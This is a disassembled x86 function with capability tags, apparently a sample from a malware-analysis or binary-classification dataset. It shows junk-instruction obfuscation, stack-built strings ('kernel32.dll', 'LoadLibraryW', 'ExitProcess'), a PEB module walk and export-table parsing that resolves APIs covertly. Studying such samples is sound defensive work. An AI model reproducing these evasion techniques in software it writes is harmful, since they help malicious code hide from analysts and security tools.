Function at 0x4114a5
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop esi
push esi
xor esi, 0x9405
or esi, 0xf862
pop esi
push eax
or eax, 0x16c3b
pop eax
mov dword [ebp - 0x209c], 0xe
push esi
jmp 0x410868
or esi, 0x10122
pop esi
push eax
or eax, 0x35ba
sub eax, 0x94eb
call 0x41088c
add byte [ecx + 0x4e], cl
dec ebp
push eax
dec ebx
xor al, 0x46
cmp eax, dword ds:[ebx + eax*4 - 0x3c]
add al, 0x58
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15c4], eax
push eax
push eax
add esp, 4
xor eax, 0x9fa1
xor eax, 0x848c
pop eax
push ebx
xor ebx, 0x16f45
call 0x4108cc
add byte [ecx + eax*2], dh
dec ebp
xor al, byte [ecx + 0x38]
inc ecx
add esp, 4
pop ebx
push edx
jmp 0x4108d6
pop edx
mov dword [ebp - 0x20a0], 0xffffffff
push edx
and edx, 0xed62
or edx, 0x1624d
pop edx
push esi
push eax
add esp, 4
xor esi, 0x126c1
pop esi
push eax
push edi
add esp, 4
or eax, 0x100ef
sub eax, 0x3434
or eax, 0xc66d
pop eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x4fc], ecx
jmp 0x410930
mov edx, dword [ebp - 0x4fc]
add edx, 1
mov dword [ebp - 0x4fc], edx
push ecx
push edi
add esp, 4
xor ecx, 0x1260b
and ecx, 0xa883
sub ecx, 0x15c90
xor ecx, 0x14bc7
pop ecx
push edx
push esi
add esp, 4
add edx, 0xdf02
pop edx
push esi
or esi, 0x13a7c
pop esi
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x4109aa
push edx
add edx, 0x4b5d
pop edx
push ecx
add ecx, 0xfd24
or ecx, 0x14ce0
pop ecx
push ebx
xor ebx, 0x537c
pop ebx
push eax
and eax, 0x7fcb
or eax, 0x7091
and eax, 0x1619b
pop eax
jmp 0x410bd8
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xac4], ecx
push eax
push ebx
add esp, 4
xor eax, 0xcb01
or eax, 0xdc86
add eax, 0x3d5f
add eax, 0xe11e
pop eax
push ebx
or ebx, 0xce0
or ebx, 0xb61f
and ebx, 0x2c91
pop ebx
mov edx, dword [ebp - 0x15c4]
mov dword [ebp - 0xa60], edx
mov dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x15c4]
jne 0x410a59
push edx
push edi
add esp, 4
call 0x410a2a
add byte [edx + 0x3c], al
xor al, 0x3f
cmp dword [eax], edi
dec esi
xor al, byte [ebx - 0x157efb3c]
mov esi, dword [edi]
add dword [eax], eax
pop edx
push ecx
add ecx, 0xdab3
add ecx, 0x173bd
or ecx, 0x1525f
pop ecx
mov ecx, dword [ebp - 0xc84]
mov dword [ebp - 0x15cc], ecx
jmp 0x410b8a
cmp dword [ebp - 0xc80], 0
jle 0x410b7e
push edi
or edi, 0xff2c
and edi, 0xb6a5
mov dh, 0
add byte [edi + 0x56], bl
and esi, 0x16b27
pop esi
push ebx
add ebx, 0x12291
jmp 0x410a8b
add ebx, 0x24c2
xor ebx, 0x5871
pop ebx
mov edx, dword [ebp - 0xac4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa60]
movzx edx, byte [ecx]
cmp eax, edx
je 0x410b1a
push edi
or edi, 0x8d0a
xor edi, 0xe791
pop edi
push edx
or edx, 0x11a18
xor edx, 0xb3df
call 0x410ad6
add byte [edi + 0x44], al
inc eax
xor eax, 0x833d4436
les eax, [ecx + eax*4]
retf 0x2729
push edx
push edi
add esp, 4
and edx, 0x1161d
pop edx
push edi
sub edi, 0x7954
sub edi, 0xd7e8
pop edi
push edx
push eax
add esp, 4
add edx, 0xe4da
or edx, 0x51fc
or edx, 0xf05
pop edx
mov edx, dword [ebp - 0xc80]
sub edx, 1
mov dword [ebp - 0xc80], edx
mov eax, dword [ebp - 0xac4]
add eax, 1
mov dword [ebp - 0xac4], eax
mov ecx, dword [ebp - 0xa60]
add ecx, 1
mov dword [ebp - 0xa60], ecx
jmp 0x410a59
mov edx, dword [ebp - 0xc84]
mov dword [ebp - 0x15cc], edx
cmp dword [ebp - 0x15cc], 0
jne 0x410bd3
push edx
add edx, 0x17aa7
xor edx, 0xb70b
jmp 0x410ba6
call 0x410bb3
add byte [ebp + 0x3d], cl
xor eax, dword [esi + 0x37]
inc esi
xor eax, dword [ebx + 0x515a04c4]
or ecx, 0x6532
or ecx, 0x118d
pop ecx
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x3e8], eax
jmp 0x410c14
jmp 0x410921
push edx
or edx, 0x124af
pop edx
push edi
xor edi, 0x1cef
jmp 0x410bef
and edi, 0x10bd6
pop edi
push esi
sub esi, 0x13917
sub esi, 0xd021
add esi, 0xa874
pop esi
mov dword [ebp - 0x3e8], 0
push eax
call 0x410c23
add byte [edi], bh
dec esp
cmp dh, byte [ebx]
push eax
push eax
inc edi
dec ecx
add esp, 4
or eax, 0x864a
jmp 0x410c33
and eax, 0xf110
pop eax
push esi
push ebx
add esp, 4
add esi, 0xf530
pop esi
push edx
push ecx
add esp, 4
call 0x410c5a
add byte [esi], dh
cmp cl, byte [ebx + 0x35]
cmp eax, 0x39493e37
add esp, 4
pop edx
push edx
or edx, 0x108ec
and edx, 0x3e4f
xor edx, 0x15ebb
sub edx, 0xaca3
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15d0], eax
push ebx
xor ebx, 0x1850f
pop ebx
push esi
push eax
add esp, 4
call 0x410caa
add byte [esi + eax*2 + 0x36], cl
xor al, 0x3f
dec edi
inc eax
cmp dword ds:[ebx + eax*4], edi
les eax, [ebx + ebp*8]
pop es
inc eax
cmp byte [ebx + edi + 0x33], al
dec esi
inc esp
pop esi
push edi
sub edi, 0xac80
pop edi
mov dword [ebp - 0x20a4], 0xffffffff
push ecx
push edx
add esp, 4
xor ecx, 0x14873
sub ecx, 0x178ae
or ecx, 0x17fe
add ecx, 0x1691e
pop ecx
push eax
sub eax, 0x171c4
add eax, 0x17c75
sub eax, 0x14fab
pop eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x410d18
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push edx
push esi
add esp, 4
xor edx, 0x7426
pop edx
push eax
or eax, 0x9308
sub eax, 0x13cd5
or eax, 0x14b32
call 0x410d46
add byte [edi + 0x4c], cl
inc ebx
dec esp
inc eax
xor edi, dword ds:[eax]
cmp al, 0x83
les eax, [eax + ebx*2]
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x410d92
push ebx
push ebx
add esp, 4
sub ebx, 0x9366
or ebx, 0x5369
pop ebx
push eax
push esi
add esp, 4
and eax, 0x7a61
pop eax
push eax
push ecx
add esp, 4
and eax, 0x50fd
pop eax
push ebx
xor ebx, 0x170ef
pop ebx
jmp 0x410fc0
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push edi
push esi
add esp, 4
add edi, 0x652a
and edi, 0x10a33
sub edi, 0x2234
pop edi
push ecx
push edx
add esp, 4
xor ecx, 0x12f82
pop ecx
push ebx
and ebx, 0xf81e
xor ebx, 0xfe4
pop ebx
mov edx, dword [ebp - 0x15d0]
mov dword [ebp - 0xabc], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d0]
jne 0x410e41
push ebx
and ebx, 0x36c9
or ebx, 0x649c
call 0x410e1b
add byte [esi], dh
xor eax, dword [ecx + 0x43]
xor ecx, dword [ecx + 0x4e]
aas
aaa
add esp, 4
call 0x410e2c
add byte [ebp + 0x40], al
aaa
push eax
cmp cl, byte [ebx + 0x37]
add esp, 4
pop ebx
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], ecx
jmp 0x410f72
cmp dword [ebp - 0xc88], 0
jle 0x410f66
push edi
or edi, 0x4a5a
and edi, 0xbf2c
add edi, 0x14e94
call 0x410e6e
add byte [ebx], bh
cmp al, 0x4a
dec esi
inc eax
inc esi
push eax
add esp, 4
pop edi
push edx
and edx, 0x9cc8
and edx, 0x568e
pop edx
mov edx, dword [ebp - 0xac0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xabc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x410f02
push eax
and eax, 0x2698
pop eax
push edi
sub edi, 0xe328
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x1064e
add ecx, 0x125d0
call 0x410ec4
add byte [edi + 0x41], cl
inc ebx
cmp al, 0x49
xor al, byte [edi - 0x7d]
les eax, [ecx + ebx*2]
mov eax, dword [ebp - 0xac0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x410eea
mov dword [ebp - 0x15a0], 1
jmp 0x410ef4
mov dword [ebp - 0x15a0], 0xffffffff
mov ecx, dword [ebp - 0x15a0]
mov dword [ebp - 0xc8c], ecx
jmp 0x410f66
push edi
push esi
add esp, 4
add edi, 0x103a7
pop edi
push ecx
push edi
add esp, 4
sub ecx, 0x3486
jmp 0x410f1f
and ecx, 0x7442
add ecx, 0x839a
pop ecx
push edi
add edi, 0x12c00
pop edi
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xac0]
add eax, 1
mov dword [ebp - 0xac0], eax
mov ecx, dword [ebp - 0xabc]
add ecx, 1
mov dword [ebp - 0xabc], ecx
jmp 0x410e41
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x410fbb
push edi
push edx
add esp, 4
add edi, 0xdd6e
xor edi, 0x7a77
pop edi
push edx
push eax
add esp, 4
xor edx, 0xc79
sub edx, 0xa472
pop edx
push ecx
and ecx, 0x1762d
add ecx, 0x9485
pop ecx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab8], eax
jmp 0x410ffc
jmp 0x410d09
push ecx
push ecx
add esp, 4
xor ecx, 0x1277b
pop ecx
push edx
call 0x410fdc
add byte [eax + 0x3f], dl
aas
inc edx
dec ecx
cmp al, 0x47
inc eax
aaa
add esp, 4
xor edx, 0x162c6
sub edx, 0x14eaa
xor edx, 0x12723
pop edx
mov dword [ebp - 0xab8], 0
push edi
push edx
add esp, 4
sub edi, 0x6804
xor edi, 0x16322
or edi, 0x10baf
and edi, 0x9535
pop edi
push ebx
or ebx, 0x7fe9
or ebx, 0x10477
add ebx, 0x1750d
pop ebx
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push ecx
push esi
add esp, 4
or ecx, 0x8d0d
pop ecx
push eax
push eax
add esp, 4
sub eax, 0x3392
pop eax
push ebx
sub ebx, 0x6d0
or ebx, 0x3dc9
or ebx, 0xb6c8
xor ebx, 0x7258
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1738], cx
mov edx, 0x65
mov word [ebp - 0x1736], dx
mov eax, 0x72
mov word [ebp - 0x1734], ax
mov ecx, 0x6e
mov word [ebp - 0x1732], cx
mov edx, 0x65
mov word [ebp - 0x1730], dx
mov eax, 0x6c
mov word [ebp - 0x172e], ax
mov ecx, 0x33
mov word [ebp - 0x172c], cx
mov edx, 0x32
mov word [ebp - 0x172a], dx
mov eax, 0x2e
mov word [ebp - 0x1728], ax
mov ecx, 0x64
mov word [ebp - 0x1726], cx
mov edx, 0x6c
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
xor ecx, ecx
mov word [ebp - 0x1720], cx
push ecx
push edx
add esp, 4
jmp 0x411158
call 0x411164
add byte [esi], dh
inc esp
dec ecx
cmp esi, dword ds:[edi]
add esp, 4
call 0x411175
add byte [eax + 0x3f], dl
cmp eax, 0x43343247
dec edi
add esp, 4
xor ecx, 0x130ae
pop ecx
push edx
push ecx
add esp, 4
and edx, 0xa65f
xor edx, 0x8a4d
pop edx
push edx
add edx, 0x15a9
pop edx
push edx
push edi
add esp, 4
sub edx, 0xc6d9
sub edx, 0xc588
xor edx, 0xae7a
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1954], edx
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1958], ecx
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x15d8], edx
push ecx
call 0x4111e8
add byte [edi + 0x36], al
cmp byte [ebp + ecx*2 + 0x3b], al
dec esi
xor eax, 0x8104c483
shr dword [ebx], 0x84
add byte [eax], al
pop ecx
push edx
and edx, 0x14b66
jmp 0x4111fe
and edx, 0x31e8
or edx, 0x10195
pop edx
cmp dword [ebp - 0x15d8], 0
jne 0x411223
mov dword [ebp - 0x31c], 0
jmp 0x4114df
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push edi
sub edi, 0x4d6e
pop edi
push edi
push ebx
add esp, 4
or edi, 0xf16a
and edi, 0x11b00
sub edi, 0x4678
pop edi
push ecx
push eax
add esp, 4
and ecx, 0x668b
sub ecx, 0x2c99
pop ecx
cmp dword [ebp - 0xc98], 0
jne 0x41127f
mov dword [ebp - 0x31c], 0
jmp 0x4114df
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push eax
push ebx
add esp, 4
sub eax, 0x11636
and eax, 0x45c4
xor eax, 0x18a2
pop eax
push ebx
and ebx, 0xfdcf
sub ebx, 0xd00b
or ebx, 0x6b97
and ebx, 0xa3df
pop ebx
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push ebx
push ecx
add esp, 4
jmp 0x4112f6
and ebx, 0x111b8
add ebx, 0x6e12
add ebx, 0x185cd
pop ebx
push edi
call 0x411318
add byte [edx], dh
xor eax, 0x4c344b34
cmp dh, byte [0x5f04c483]
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push ecx
push ebx
add esp, 4
jmp 0x411382
jmp 0x411389
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0x33d3
add eax, 0x1347c
jmp 0x4113a1
xor eax, 0x12b65
pop eax
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x4113cb
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e0], eax
jmp 0x41142e
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x4112ea
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x4112ea
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x411418
mov dword [ebp - 0x15dc], 0xffffffff
jmp 0x411422
mov dword [ebp - 0x15dc], 1
mov edx, dword [ebp - 0x15dc]
mov dword [ebp - 0x15e0], edx
cmp dword [ebp - 0x15e0], 0
jne 0x411477
push edi
sub edi, 0x3f6b
xor edi, 0xcefe
call 0x411453
add byte [0x364f414d], bh
dec esp
xor al, byte [eax + 0x4d]
add esp, 4
sub edi, 0x11411
pop edi
push esi
push edx
add esp, 4
sub esi, 0x16a0
pop esi
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x31c], eax
jmp 0x4114df
push ebx
sub ebx, 0x225b
or ebx, 0x68e5
call 0x411491
add byte [edx], dh
inc ebx
xor al, 0x39
dec esi
inc ecx
cmp al, byte [ebx + 0x505b04c4]
call 0x4114a5
add byte [esi + 0x393d4a3d], bh
cmp eax, 0xc4833749
add al, 0x58
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x4114d5
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x41128b
mov dword [ebp - 0x31c], 0
push edx
add edx, 0x14ff3
jmp 0x4114ee
sub edx, 0x72f3
jmp 0x4114fc
pop edx
push esi
push ebx
add esp, 4
sub esi, 0x2a97
jmp 0x411510
pop esi
cmp dword [ebp - 0x31c], 0
jne 0x411e2a
mov edx, 0x6b
mov word [ebp - 0x1774], dx
mov eax, 0x65
mov word [ebp - 0x1772], ax
mov ecx, 0x72
mov word [ebp - 0x1770], cx
mov edx, 0x6e
mov word [ebp - 0x176e], dx
mov eax, 0x65
mov word [ebp - 0x176c], ax
mov ecx, 0x6c
mov word [ebp - 0x176a], cx
mov edx, 0x33
mov word [ebp - 0x1768], dx
mov eax, 0x32
mov word [ebp - 0x1766], ax
mov ecx, 0x2e
mov word [ebp - 0x1764], cx
mov edx, 0x64
mov word [ebp - 0x1762], dx
mov eax, 0x6c
mov word [ebp - 0x1760], ax
mov ecx, 0x6c
mov word [ebp - 0x175e], cx
xor edx, edx
mov word [ebp - 0x175c], dx
push edi
push ecx
add esp, 4
sub edi, 0x4178
xor edi, 0xf388
pop edi
push edx
push edi
add esp, 4
or edx, 0xfc25
or edx, 0x56d3
or edx, 0x3cf0
pop edx
push edx
sub edx, 0xa1b0
pop edx
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x195c], eax
mov ecx, dword [ebp - 0x195c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1960], edx
mov eax, dword [ebp - 0x1960]
mov dword [ebp - 0x15e4], eax
push eax
push eax
add esp, 4
xor eax, 0xb347
pop eax
push ebx
push ebx
add esp, 4
and ebx, 0x11652
sub ebx, 0x1804a
pop ebx
push eax
and eax, 0x95c8
add eax, 0x11faa
and eax, 0xa2b
pop eax
cmp dword [ebp - 0x15e4], 0
jne 0x4116b5
mov dword [ebp - 0x750], 0
jmp 0x411971
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push edx
push edi
add esp, 4
sub edx, 0x4515
jmp 0x4116d8
add edx, 0x8aff
pop edx
push edi
add edi, 0x6b4a
pop edi
push edx
push esi
add esp, 4
or edx, 0xf6bf
xor edx, 0x163bb
pop edx
cmp dword [ebp - 0xca4], 0
jne 0x411711
mov dword [ebp - 0x750], 0
jmp 0x411971
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push esi
push ecx
add esp, 4
sub esi, 0x16081
pop esi
push ecx
or ecx, 0xa0c1
or ecx, 0x15c85
call 0x411744
add byte [esi + 0x4f], cl
dec edx
dec esi
inc esi
inc esp
xor al, 0x83
les eax, [ebx + ebp*8]
add eax, 0x3f3a363a
cmp ebx, dword [ecx - 0x73]
xchg ebp, eax
mov eax, gs
invalid
push edx
call 0x411980
add byte [edi], dh
cmp al, byte [esi + 0x41]
inc edx
inc eax
xor al, 0x45
add esp, 4
jmp 0x41198a
or edx, 0x7377
sub edx, 0x378a
pop edx
push edi
push ecx
add esp, 4
add edi, 0x1611
pop edi
cmp dword [ebp - 0x750], 0
jne 0x4119ed
push eax
push ecx
add esp, 4
and eax, 0x713d
or eax, 0x1021
pop eax
push esi
push ecx
add esp, 4
sub esi, 0x7bdd
add esi, 0x53
pop esi
push ecx
and ecx, 0x653d
xor ecx, 0x6a29
pop ecx
mov dword [ebp - 0x79c], 0
jmp 0x412514
push edi
or edi, 0xbe07
or edi, 0x1837f
or edi, 0x16863
pop edi
push esi
push eax
add esp, 4
and esi, 0x85f8
add esi, 0xd779
xor esi, 0x1050d
and esi, 0xde92
pop esi
mov eax, dword [ebp - 0x750]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x15f0], edx
cmp dword [ebp - 0x15f0], 0
jne 0x411a5e
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x411d4f
mov ecx, dword [ebp - 0x15f0]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15f4], edx
jne 0x411a86
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x411d4f
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15f4]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x15f8], ecx
cmp dword [ebp - 0x15f8], 0
jne 0x411ab8
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
jmp 0x411d4f
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x15f8]
mov dword [ebp - 0x754], eax
jne 0x411add
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], ecx
jmp 0x411d4f
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1964], eax
mov ecx, dword [ebp - 0x754]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1968], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x196c], ecx
mov dword [ebp - 0x758], 0
jmp 0x411b37
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx